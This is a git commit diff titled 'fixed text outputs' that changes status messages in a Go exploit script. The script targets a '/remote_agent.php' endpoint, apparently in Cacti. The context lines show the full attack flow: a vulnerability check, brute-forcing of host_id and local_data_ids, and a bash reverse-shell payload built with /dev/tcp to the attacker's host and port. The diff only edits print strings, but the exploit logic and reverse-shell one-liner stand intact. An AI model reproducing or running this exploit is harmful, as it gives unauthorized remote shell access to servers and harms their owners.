fixed text outputs
This commit is contained in:
parent
838f3f2542
commit
d24b8acd21
|
@ -111,9 +111,9 @@ func reverseShell(payload string, vulnUrl string, hostID int, dataIDs int) {
|
||||||
|
|
||||||
func Exploit(urlTarget string, lhost string, lport string) {
|
func Exploit(urlTarget string, lhost string, lport string) {
|
||||||
vulnURL := urlTarget + "/remote_agent.php"
|
vulnURL := urlTarget + "/remote_agent.php"
|
||||||
fmt.Println("Checking...")
|
fmt.Println("Checking for vulnerability...")
|
||||||
if checkVuln(vulnURL) {
|
if checkVuln(vulnURL) {
|
||||||
fmt.Println("The target is vulnerable. Exploiting...")
|
fmt.Println("The target is vulnerable. Bruteforcing...")
|
||||||
|
|
||||||
fmt.Println("Bruteforcing the host_id and local_data_ids")
|
fmt.Println("Bruteforcing the host_id and local_data_ids")
|
||||||
isVuln, hostID, dataIDs := bruteForcing(vulnURL)
|
isVuln, hostID, dataIDs := bruteForcing(vulnURL)
|
||||||
|
@ -122,7 +122,7 @@ func Exploit(urlTarget string, lhost string, lport string) {
|
||||||
payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport)
|
payload := fmt.Sprintf("bash -c 'bash -i >& /dev/tcp/%s/%s 0>&1'", lhost, lport)
|
||||||
reverseShell(payload, vulnURL, hostID, dataIDs)
|
reverseShell(payload, vulnURL, hostID, dataIDs)
|
||||||
} else {
|
} else {
|
||||||
fmt.Println("The Bruteforce Failed...")
|
fmt.Println("The bruteforce failed...")
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
fmt.Println("The target is not vulnerable")
|
fmt.Println("The target is not vulnerable")
|
||||||
|
|
Loading…
Reference in a new issue